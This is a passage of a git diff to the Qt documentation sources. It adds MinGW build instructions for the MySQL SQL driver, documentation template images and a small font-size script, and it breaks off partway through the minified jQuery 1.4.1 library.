diff --git a/doc/src/snippets/qelapsedtimer/qelapsedtimer.pro b/doc/src/snippets/qelapsedtimer/qelapsedtimer.pro
new file mode 100644
index 0000000..b0a8f66
--- /dev/null
+++ b/doc/src/snippets/qelapsedtimer/qelapsedtimer.pro
@@ -0,0 +1,2 @@
+SOURCES = main.cpp
+QT -= gui
diff --git a/doc/src/sql-programming/sql-driver.qdoc b/doc/src/sql-programming/sql-driver.qdoc
index e26472e..6bccd83 100644
--- a/doc/src/sql-programming/sql-driver.qdoc
+++ b/doc/src/sql-programming/sql-driver.qdoc
@@ -192,6 +192,73 @@
     built in release mode only. If you are expecting a debug version
     to be built as well, don't use the \c{"-o Makefile"} option.
 
+    \section3 How to build the MySQL driver for MinGW users
+
+    The following steps have been used successfully for WinXP SP3. In
+    this example, Qt 4.6.2 is shown.
+
+    \list
+
+    \o Download the following components:
+    \list
+    \o \c{MinGW-5.1.6.exe}
+    \o \c{mingw-utils-0.3.tar.gz}
+    \o Qt sources, e.g. \c{qt-everywhere-opensource-src-4.6.2.zip}
+    \o \c{mysql-5.1.35-win32.msi}
+    \endlist
+
+    \o Install \c{MinGW-5.1.6.exe} in, e.g. \c{C:\MinGW}.
+
+    \o Extract \c{mingw-utils-0.3.tar.gz} into, e.g. \c{C:\MinGW}.
+
+    \o Add the path for \c{MinGW-5.1.6.exe} to your \c{PATH} variable,
+       e.g. \c{C:\MinGW\bin;}
+
+    \o Extract the Qt sources, (\c{qt-everywhere-opensource-src-4.6.2.zip}),
+     into, e.g. \c{C:\Qt}.
+
+    \o Add the path for the eventual Qt binary to your \c{PATH} variable,
+       e.g. \c{C:\Qt\4.6.2\bin;}.
+
+    \o Install MySQL (\c{mysql-5.1.35-win32.msi}), customizing the
+       components. Select only the headers and libraries. Install in,
+       e.g. \c{C:\MySQL\MySQL51}.
+
+    \o Open the DOS prompt, go to \c{C:\MySQL\MySQL51\lib\opt}, and run
+       the following commands:
+       \list 
+       \o \c{reimp -d libmysql.lib} 
+       \o \c{dlltool -k -d libmysql.def -l libmysql.a}
+       \endlist
+
+    \o Open the DOS prompt, go to \c{C:\Qt\4.6.2} and run the following commands:
+    \list
+       \o \c{configure.exe -debug-and-release -platform win32-g++ -qt-sql-mysql
+         -l mysql -I C:\MySQL\MySQL51\include -L C:\MySQL\MySQL51\lib\opt}
+       \o \c{mingw32-make sub-src}
+    \endlist
+    This step takes a long time.
+
+    \o Open the DOS prompt, go to
+        \c{C:\Qt\4.6.2\src\plugins\sqldrivers\mysql} and run the
+        following command: 
+	\list
+        \o \c{qmake "INCLUDEPATH+=C:\MySQL\MySQL51\include" "LIBS+=-L. mysql" mysql.pro}
+	\endlist
+
+    \o Now the following libraries are ready in \c{C:\Qt\4.6.2\plugins\sqldrivers}.
+    \list
+       \o \c{libqsqlmysql4.a}
+       \o \c{libqsqlmysqld4.a}
+       \o \c{qsqlmysql4.dll}
+       \o \c{qsqlmysqld4.dll}
+    \endlist
+    To use the SDK and QtCreator directly, copy these libraries to
+    your \c{C:\Qt\...\qt\plugins\sqldrivers\}, and copy
+    \c{C:\MySQL\MySQL51\lib\opt\libmysql.dll} to your \c{C:\Qt\...\qt\bin\}.
+
+    \endlist
+
     \target QOCI
     \section2 QOCI for the Oracle Call Interface (OCI)
 
diff --git a/doc/src/template/images/api_examples.png b/doc/src/template/images/api_examples.png
new file mode 100755
index 0000000..1fcbc96
--- /dev/null
+++ b/doc/src/template/images/api_examples.png
diff --git a/doc/src/template/images/api_lookup.png b/doc/src/template/images/api_lookup.png
new file mode 100755
index 0000000..1cffd5e
--- /dev/null
+++ b/doc/src/template/images/api_lookup.png
diff --git a/doc/src/template/images/api_topics.png b/doc/src/template/images/api_topics.png
new file mode 100755
index 0000000..a76a6c3
--- /dev/null
+++ b/doc/src/template/images/api_topics.png
diff --git a/doc/src/template/images/bg_l.png b/doc/src/template/images/bg_l.png
new file mode 100755
index 0000000..95470c7
--- /dev/null
+++ b/doc/src/template/images/bg_l.png
diff --git a/doc/src/template/images/bg_l_blank.png b/doc/src/template/images/bg_l_blank.png
new file mode 100755
index 0000000..e0eca3f
--- /dev/null
+++ b/doc/src/template/images/bg_l_blank.png
diff --git a/doc/src/template/images/bg_ll.png b/doc/src/template/images/bg_ll.png
new file mode 100755
index 0000000..99796e7
--- /dev/null
+++ b/doc/src/template/images/bg_ll.png
diff --git a/doc/src/template/images/bg_ll_blank.png b/doc/src/template/images/bg_ll_blank.png
new file mode 100755
index 0000000..95a1c45
--- /dev/null
+++ b/doc/src/template/images/bg_ll_blank.png
diff --git a/doc/src/template/images/bg_lr.png b/doc/src/template/images/bg_lr.png
new file mode 100755
index 0000000..fef1d17
--- /dev/null
+++ b/doc/src/template/images/bg_lr.png
diff --git a/doc/src/template/images/bg_r.png b/doc/src/template/images/bg_r.png
new file mode 100755
index 0000000..42a35a5
--- /dev/null
+++ b/doc/src/template/images/bg_r.png
diff --git a/doc/src/template/images/bg_ul.png b/doc/src/template/images/bg_ul.png
new file mode 100755
index 0000000..303181f
--- /dev/null
+++ b/doc/src/template/images/bg_ul.png
diff --git a/doc/src/template/images/bg_ul_blank.png b/doc/src/template/images/bg_ul_blank.png
new file mode 100755
index 0000000..7051261
--- /dev/null
+++ b/doc/src/template/images/bg_ul_blank.png
diff --git a/doc/src/template/images/bg_ur.png b/doc/src/template/images/bg_ur.png
new file mode 100755
index 0000000..bfa51a4
--- /dev/null
+++ b/doc/src/template/images/bg_ur.png
diff --git a/doc/src/template/images/bg_ur_blank.png b/doc/src/template/images/bg_ur_blank.png
new file mode 100755
index 0000000..5779961
--- /dev/null
+++ b/doc/src/template/images/bg_ur_blank.png
diff --git a/doc/src/template/images/box_bg.png b/doc/src/template/images/box_bg.png
new file mode 100755
index 0000000..232655a
--- /dev/null
+++ b/doc/src/template/images/box_bg.png
diff --git a/doc/src/template/images/breadcrumb.png b/doc/src/template/images/breadcrumb.png
new file mode 100755
index 0000000..f0571ce
--- /dev/null
+++ b/doc/src/template/images/breadcrumb.png
diff --git a/doc/src/template/images/bullet_dn.png b/doc/src/template/images/bullet_dn.png
new file mode 100644
index 0000000..f776247
--- /dev/null
+++ b/doc/src/template/images/bullet_dn.png
diff --git a/doc/src/template/images/bullet_gt.png b/doc/src/template/images/bullet_gt.png
new file mode 100755
index 0000000..8875925
--- /dev/null
+++ b/doc/src/template/images/bullet_gt.png
diff --git a/doc/src/template/images/bullet_sq.png b/doc/src/template/images/bullet_sq.png
new file mode 100755
index 0000000..db85ee3
--- /dev/null
+++ b/doc/src/template/images/bullet_sq.png
diff --git a/doc/src/template/images/bullet_up.png b/doc/src/template/images/bullet_up.png
new file mode 100644
index 0000000..285e741
--- /dev/null
+++ b/doc/src/template/images/bullet_up.png
diff --git a/doc/src/template/images/content_bg.png b/doc/src/template/images/content_bg.png
new file mode 100755
index 0000000..416397d
--- /dev/null
+++ b/doc/src/template/images/content_bg.png
diff --git a/doc/src/template/images/feedbackground.png b/doc/src/template/images/feedbackground.png
new file mode 100755
index 0000000..3a38d99
--- /dev/null
+++ b/doc/src/template/images/feedbackground.png
diff --git a/doc/src/template/images/form_bg.png b/doc/src/template/images/form_bg.png
new file mode 100755
index 0000000..bf2ee54
--- /dev/null
+++ b/doc/src/template/images/form_bg.png
diff --git a/doc/src/template/images/header.png b/doc/src/template/images/header.png
new file mode 100644
index 0000000..141488b
--- /dev/null
+++ b/doc/src/template/images/header.png
diff --git a/doc/src/template/images/horBar.png b/doc/src/template/images/horBar.png
new file mode 100755
index 0000000..100fe91
--- /dev/null
+++ b/doc/src/template/images/horBar.png
diff --git a/doc/src/template/images/page_bg.png b/doc/src/template/images/page_bg.png
new file mode 100755
index 0000000..fb7d051
--- /dev/null
+++ b/doc/src/template/images/page_bg.png
diff --git a/doc/src/template/images/print.png b/doc/src/template/images/print.png
new file mode 100755
index 0000000..4581da1
--- /dev/null
+++ b/doc/src/template/images/print.png
diff --git a/doc/src/template/images/qt_guide.png b/doc/src/template/images/qt_guide.png
new file mode 100755
index 0000000..9f53a05
--- /dev/null
+++ b/doc/src/template/images/qt_guide.png
diff --git a/doc/src/template/images/qt_icon.png b/doc/src/template/images/qt_icon.png
new file mode 100755
index 0000000..fbaee35
--- /dev/null
+++ b/doc/src/template/images/qt_icon.png
diff --git a/doc/src/template/images/qt_ref_doc.png b/doc/src/template/images/qt_ref_doc.png
new file mode 100755
index 0000000..141488b
--- /dev/null
+++ b/doc/src/template/images/qt_ref_doc.png
diff --git a/doc/src/template/images/qt_tools.png b/doc/src/template/images/qt_tools.png
new file mode 100755
index 0000000..cc24179
--- /dev/null
+++ b/doc/src/template/images/qt_tools.png
diff --git a/doc/src/template/images/sep.png b/doc/src/template/images/sep.png
new file mode 100755
index 0000000..c895646
--- /dev/null
+++ b/doc/src/template/images/sep.png
diff --git a/doc/src/template/images/sprites-combined.png b/doc/src/template/images/sprites-combined.png
new file mode 100755
index 0000000..4186022
--- /dev/null
+++ b/doc/src/template/images/sprites-combined.png
diff --git a/doc/src/template/scripts/functions.js b/doc/src/template/scripts/functions.js
new file mode 100755
index 0000000..fa454e3
--- /dev/null
+++ b/doc/src/template/scripts/functions.js
@@ -0,0 +1,61 @@
+
+/* START non link areas where cursor should change to pointing hand */
+$('.t_button').mouseover(function() {
+    $('.t_button').css('cursor','pointer');
+		/*document.getElementById(this.id).style.cursor='pointer';*/
+});
+
+/* END non link areas  */
+$('#smallA').click(function() {
+		$('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('font-size','smaller');
+		$('.t_button').removeClass('active')
+		$(this).addClass('active')
+});
+
+$('#medA').click(function() {
+		$('.content .heading').css('font','600 16px/1 Arial');
+		$('.content h1').css('font','600 18px/1.2 Arial');
+		$('.content h2').css('font','600 16px/1.2 Arial');
+		$('.content h3').css('font','600 14px/1.2 Arial');
+		$('.content p').css('font','13px/20px Verdana');
+		$('.content li').css('font','400 13px/1 Verdana');
+		$('.content li').css('line-height','14px');
+		$('.content .toc li').css('font', 'normal 10px/1.2 Verdana');
+		$('.content table').css('font','13px/1.2 Verdana');
+		$('.content .heading').css('font','600 16px/1 Arial');
+		$('.content .indexboxcont li').css('font','600 13px/1 Verdana');
+		$('.t_button').removeClass('active')
+		$(this).addClass('active')
+});
+
+$('#bigA').click(function() {
+		$('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('font-size','large');
+		$('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('line-height','25px');
+		$('.t_button').removeClass('active')
+		$(this).addClass('active')
+});
+
+function doSearch(str){
+
+if (str.length>3)
+  {
+  alert('Search is not yet activated.');
+ // document.getElementById("refWrapper").innerHTML="";
+  return;
+  }
+ else
+  return;
+    
+//    var url="indexSearch.php";
+//    url=url+"?q="+str;
+ //   url=url+"&sid="+Math.random();
+   // var url="http://localhost:8983/solr/select?";
+   // url=url+"&q="+str;
+   // url=url+"&fq=&start=0&rows=10&fl=&qt=&wt=&explainOther=&hl.fl=";
+    
+  //  $.get(url, function(data){ 
+   // alert(data);
+  // document.getElementById("refWrapper").innerHTML=data; 
+ //});
+   
+}
\ No newline at end of file
diff --git a/doc/src/template/scripts/jquery.js b/doc/src/template/scripts/jquery.js
new file mode 100755
index 0000000..0c7294c
--- /dev/null
+++ b/doc/src/template/scripts/jquery.js
@@ -0,0 +1,152 @@
+/*!
+ * jQuery JavaScript Library v1.4.1
+ * http://jquery.com/
+ *
+ * Copyright 2010, John Resig
+ * Dual licensed under the MIT or GPL Version 2 licenses.
+ * http://jquery.org/license
+ *
+ * Includes Sizzle.js
+ * http://sizzlejs.com/
+ * Copyright 2010, The Dojo Foundation
+ * Released under the MIT, BSD, and GPL Licenses.
+ *
+ * Date: Mon Jan 25 19:43:33 2010 -0500
+ */
+(function(z,v){function la(){if(!c.isReady){try{r.documentElement.doScroll("left")}catch(a){setTimeout(la,1);return}c.ready()}}function Ma(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,i){var j=a.length;if(typeof b==="object"){for(var n in b)X(a,n,b[n],f,e,d);return a}if(d!==v){f=!i&&f&&c.isFunction(d);for(n=0;n<j;n++)e(a[n],b,f?d.call(a[n],n,e(a[n],b)):d,i);return a}return j?
+e(a[0],b):null}function J(){return(new Date).getTime()}function Y(){return false}function Z(){return true}function ma(a,b,d){d[0].type=a;return c.event.handle.apply(b,d)}function na(a){var b,d=[],f=[],e=arguments,i,j,n,o,m,s,x=c.extend({},c.data(this,"events").live);if(!(a.button&&a.type==="click")){for(o in x){j=x[o];if(j.live===a.type||j.altLive&&c.inArray(a.type,j.altLive)>-1){i=j.data;i.beforeFilter&&i.beforeFilter[a.type]&&!i.beforeFilter[a.type](a)||f.push(j.selector)}else delete x[o]}i=c(a.target).closest(f,
+a.currentTarget);m=0;for(s=i.length;m<s;m++)for(o in x){j=x[o];n=i[m].elem;f=null;if(i[m].selector===j.selector){if(j.live==="mouseenter"||j.live==="mouseleave")f=c(a.relatedTarget).closest(j.selector)[0];if(!f||f!==n)d.push({elem:n,fn:j})}}m=0;for(s=d.length;m<s;m++){i=d[m];a.currentTarget=i.elem;a.data=i.fn.data;if(i.fn.apply(i.elem,e)===false){b=false;break}}return b}}function oa(a,b){return"live."+(a?a+".":"")+b.replace(/\./g,"`").replace(/ /g,"&")}function pa(a){return!a||!a.parentNode||a.parentNode.nodeType===
+11}function qa(a,b){var d=0;b.each(function(){if(this.nodeName===(a[d]&&a[d].nodeName)){var f=c.data(a[d++]),e=c.data(this,f);if(f=f&&f.events){delete e.handle;e.events={};for(var i in f)for(var j in f[i])c.event.add(this,i,f[i][j],f[i][j].data)}}})}function ra(a,b,d){var f,e,i;if(a.length===1&&typeof a[0]==="string"&&a[0].length<512&&a[0].indexOf("<option")<0&&(c.support.checkClone||!sa.test(a[0]))){e=true;if(i=c.fragments[a[0]])if(i!==1)f=i}if(!f){b=b&&b[0]?b[0].ownerDocument||b[0]:r;f=b.createDocumentFragment();
+c.clean(a,b,f,d)}if(e)c.fragments[a[0]]=i?f:1;return{fragment:f,cacheable:e}}function K(a,b){var d={};c.each(ta.concat.apply([],ta.slice(0,b)),function(){d[this]=a});return d}function ua(a){return"scrollTo"in a&&a.document?a:a.nodeType===9?a.defaultView||a.parentWindow:false}var c=function(a,b){return new c.fn.init(a,b)},Na=z.jQuery,Oa=z.$,r=z.document,S,Pa=/^[^<]*(<[\w\W]+>)[^>]*$|^#([\w-]+)$/,Qa=/^.[^:#\[\.,]*$/,Ra=/\S/,Sa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Ta=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,O=navigator.userAgent,
+va=false,P=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,Q=Array.prototype.slice,wa=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(typeof a==="string")if((d=Pa.exec(a))&&(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:r;if(a=Ta.exec(a))if(c.isPlainObject(b)){a=[r.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=ra([d[1]],
+[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}}else{if(b=r.getElementById(d[2])){if(b.id!==d[2])return S.find(a);this.length=1;this[0]=b}this.context=r;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=r;a=r.getElementsByTagName(a)}else return!b||b.jquery?(b||S).find(a):c(b).find(a);else if(c.isFunction(a))return S.ready(a);if(a.selector!==v){this.selector=a.selector;this.context=a.context}return c.isArray(a)?this.setArray(a):c.makeArray(a,
+this)},selector:"",jquery:"1.4.1",length:0,size:function(){return this.length},toArray:function(){return Q.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){a=c(a||null);a.prevObject=this;a.context=this.context;if(b==="find")a.selector=this.selector+(this.selector?" ":"")+d;else if(b)a.selector=this.selector+"."+b+"("+d+")";return a},setArray:function(a){this.length=0;ba.apply(this,a);return this},each:function(a,b){return c.each(this,
+a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(r,c);else P&&P.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(Q.apply(this,arguments),"slice",Q.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this,function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice};
+c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,i,j,n;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b<d;b++)if((e=arguments[b])!=null)for(i in e){j=a[i];n=e[i];if(a!==n)if(f&&n&&(c.isPlainObject(n)||c.isArray(n))){j=j&&(c.isPlainObject(j)||c.isArray(j))?j:c.isArray(n)?[]:{};a[i]=c.extend(f,j,n)}else if(n!==v)a[i]=n}return a};c.extend({noConflict:function(a){z.$=
+Oa;if(a)z.jQuery=Na;return c},isReady:false,ready:function(){if(!c.isReady){if(!r.body)return setTimeout(c.ready,13);c.isReady=true;if(P){for(var a,b=0;a=P[b++];)a.call(r,c);P=null}c.fn.triggerHandler&&c(r).triggerHandler("ready")}},bindReady:function(){if(!va){va=true;if(r.readyState==="complete")return c.ready();if(r.addEventListener){r.addEventListener("DOMContentLoaded",L,false);z.addEventListener("load",c.ready,false)}else if(r.attachEvent){r.attachEvent("onreadystatechange",L);z.attachEvent("onload",
+c.ready);var a=false;try{a=z.frameElement==null}catch(b){}r.documentElement.doScroll&&a&&la()}}},isFunction:function(a){return $.call(a)==="[object Function]"},isArray:function(a){return $.call(a)==="[object Array]"},isPlainObject:function(a){if(!a||$.call(a)!=="[object Object]"||a.nodeType||a.setInterval)return false;if(a.constructor&&!aa.call(a,"constructor")&&!aa.call(a.constructor.prototype,"isPrototypeOf"))return false;var b;for(b in a);return b===v||aa.call(a,b)},isEmptyObject:function(a){for(var b in a)return false;
+return true},error:function(a){throw a;},parseJSON:function(a){if(typeof a!=="string"||!a)return null;if(/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return z.JSON&&z.JSON.parse?z.JSON.parse(a):(new Function("return "+a))();else c.error("Invalid JSON: "+a)},noop:function(){},globalEval:function(a){if(a&&Ra.test(a)){var b=r.getElementsByTagName("head")[0]||
+r.documentElement,d=r.createElement("script");d.type="text/javascript";if(c.support.scriptEval)d.appendChild(r.createTextNode(a));else d.text=a;b.insertBefore(d,b.firstChild);b.removeChild(d)}},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,b,d){var f,e=0,i=a.length,j=i===v||c.isFunction(a);if(d)if(j)for(f in a){if(b.apply(a[f],d)===false)break}else for(;e<i;){if(b.apply(a[e++],d)===false)break}else if(j)for(f in a){if(b.call(a[f],f,a[f])===false)break}else for(d=
+a[0];e<i&&b.call(d,e,d)!==false;d=a[++e]);return a},trim:function(a){return(a||"").replace(Sa,"")},makeArray:function(a,b){b=b||[];if(a!=null)a.length==null||typeof a==="string"||c.isFunction(a)||typeof a!=="function"&&a.setInterval?ba.call(b,a):c.merge(b,a);return b},inArray:function(a,b){if(b.indexOf)return b.indexOf(a);for(var d=0,f=b.length;d<f;d++)if(b[d]===a)return d;return-1},merge:function(a,b){var d=a.length,f=0;if(typeof b.length==="number")for(var e=b.length;f<e;f++)a[d++]=b[f];else for(;b[f]!==
+v;)a[d++]=b[f++];a.length=d;return a},grep:function(a,b,d){for(var f=[],e=0,i=a.length;e<i;e++)!d!==!b(a[e],e)&&f.push(a[e]);return f},map:function(a,b,d){for(var f=[],e,i=0,j=a.length;i<j;i++){e=b(a[i],i,d);if(e!=null)f[f.length]=e}return f.concat.apply([],f)},guid:1,proxy:function(a,b,d){if(arguments.length===2)if(typeof b==="string"){d=a;a=d[b];b=v}else if(b&&!c.isFunction(b)){d=b;b=v}if(!b&&a)b=function(){return a.apply(d||this,arguments)};if(a)b.guid=a.guid=a.guid||b.guid||c.guid++;return b},
+uaMatch:function(a){a=a.toLowerCase();a=/(webkit)[ \/]([\w.]+)/.exec(a)||/(opera)(?:.*version)?[ \/]([\w.]+)/.exec(a)||/(msie) ([\w.]+)/.exec(a)||!/compatible/.test(a)&&/(mozilla)(?:.*? rv:([\w.]+))?/.exec(a)||[];return{browser:a[1]||"",version:a[2]||"0"}},browser:{}});O=c.uaMatch(O);if(O.browser){c.browser[O.browser]=true;c.browser.version=O.version}if(c.browser.webkit)c.browser.safari=true;if(wa)c.inArray=function(a,b){return wa.call(b,a)};S=c(r);if(r.addEventListener)L=function(){r.removeEventListener("DOMContentLoaded",
+L,false);c.ready()};else if(r.attachEvent)L=function(){if(r.readyState==="complete"){r.detachEvent("onreadystatechange",L);c.ready()}};(function(){c.support={};var a=r.documentElement,b=r.createElement("script"),d=r.createElement("div"),f="script"+J();d.style.display="none";d.innerHTML="   <link/><table></table><a href='/a' style='color:red;float:left;opacity:.55;'>a</a><input type='checkbox'/>";var e=d.getElementsByTagName("*"),i=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!i)){c.support=
+{leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(i.getAttribute("style")),hrefNormalized:i.getAttribute("href")==="/a",opacity:/^0.55$/.test(i.style.opacity),cssFloat:!!i.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:r.createElement("select").appendChild(r.createElement("option")).selected,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null};
+b.type="text/javascript";try{b.appendChild(r.createTextNode("window."+f+"=1;"))}catch(j){}a.insertBefore(b,a.firstChild);if(z[f]){c.support.scriptEval=true;delete z[f]}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function n(){c.support.noCloneEvent=false;d.detachEvent("onclick",n)});d.cloneNode(true).fireEvent("onclick")}d=r.createElement("div");d.innerHTML="<input type='radio' name='radiotest' checked='checked'/>";a=r.createDocumentFragment();a.appendChild(d.firstChild);
+c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var n=r.createElement("div");n.style.width=n.style.paddingLeft="1px";r.body.appendChild(n);c.boxModel=c.support.boxModel=n.offsetWidth===2;r.body.removeChild(n).style.display="none"});a=function(n){var o=r.createElement("div");n="on"+n;var m=n in o;if(!m){o.setAttribute(n,"return;");m=typeof o[n]==="function"}return m};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=i=null}})();c.props=
+{"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ua=0,xa={},Va={};c.extend({cache:{},expando:G,noData:{embed:true,object:true,applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var f=a[G],e=c.cache;if(!b&&!f)return null;f||(f=++Ua);if(typeof b==="object"){a[G]=f;e=e[f]=c.extend(true,
+{},b)}else e=e[f]?e[f]:typeof d==="undefined"?Va:(e[f]={});if(d!==v){a[G]=f;e[b]=d}return typeof b==="string"?e[b]:e}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{try{delete a[G]}catch(i){a.removeAttribute&&a.removeAttribute(G)}delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this,
+a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===v){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===v&&this.length)f=c.data(this[0],a);return f===v&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this,a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d);
+return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b===v)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||
+a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var ya=/[\n\t]/g,ca=/\s+/,Wa=/\r/g,Xa=/href|src|style/,Ya=/(button|input)/i,Za=/(button|input|object|select|textarea)/i,$a=/^(a|area)$/i,za=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(o){var m=
+c(this);m.addClass(a.call(this,o,m.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1)if(e.className)for(var i=" "+e.className+" ",j=0,n=b.length;j<n;j++){if(i.indexOf(" "+b[j]+" ")<0)e.className+=" "+b[j]}else e.className=a}return this},removeClass:function(a){if(c.isFunction(a))return this.each(function(o){var m=c(this);m.removeClass(a.call(this,o,m.attr("class")))});if(a&&typeof a==="string"||a===v)for(var b=(a||"").split(ca),
+d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1&&e.className)if(a){for(var i=(" "+e.className+" ").replace(ya," "),j=0,n=b.length;j<n;j++)i=i.replace(" "+b[j]+" "," ");e.className=i.substring(1,i.length-1)}else e.className=""}return this},toggleClass:function(a,b){var d=typeof a,f=typeof b==="boolean";if(c.isFunction(a))return this.each(function(e){var i=c(this);i.toggleClass(a.call(this,e,i.attr("class"),b),b)});return this.each(function(){if(d==="string")for(var e,i=0,j=c(this),n=b,o=
+a.split(ca);e=o[i++];){n=f?n:!j.hasClass(e);j[n?"addClass":"removeClass"](e)}else if(d==="undefined"||d==="boolean"){this.className&&c.data(this,"__className__",this.className);this.className=this.className||a===false?"":c.data(this,"__className__")||""}})},hasClass:function(a){a=" "+a+" ";for(var b=0,d=this.length;b<d;b++)if((" "+this[b].className+" ").replace(ya," ").indexOf(a)>-1)return true;return false},val:function(a){if(a===v){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value||
+{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var i=b?d:0;for(d=b?d+1:e.length;i<d;i++){var j=e[i];if(j.selected){a=c(j).val();if(b)return a;f.push(a)}}return f}if(za.test(b.type)&&!c.support.checkOn)return b.getAttribute("value")===null?"on":b.value;return(b.value||"").replace(Wa,"")}return v}var n=c.isFunction(a);return this.each(function(o){var m=c(this),s=a;if(this.nodeType===1){if(n)s=a.call(this,o,m.val());
+if(typeof s==="number")s+="";if(c.isArray(s)&&za.test(this.type))this.checked=c.inArray(m.val(),s)>=0;else if(c.nodeName(this,"select")){var x=c.makeArray(s);c("option",this).each(function(){this.selected=c.inArray(c(this).val(),x)>=0});if(!x.length)this.selectedIndex=-1}else this.value=s}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return v;if(f&&b in c.attrFn)return c(a)[b](d);
+f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==v;b=f&&c.props[b]||b;if(a.nodeType===1){var i=Xa.test(b);if(b in a&&f&&!i){if(e){b==="type"&&Ya.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed");a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:Za.test(a.nodeName)||$a.test(a.nodeName)&&a.href?0:v;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText=
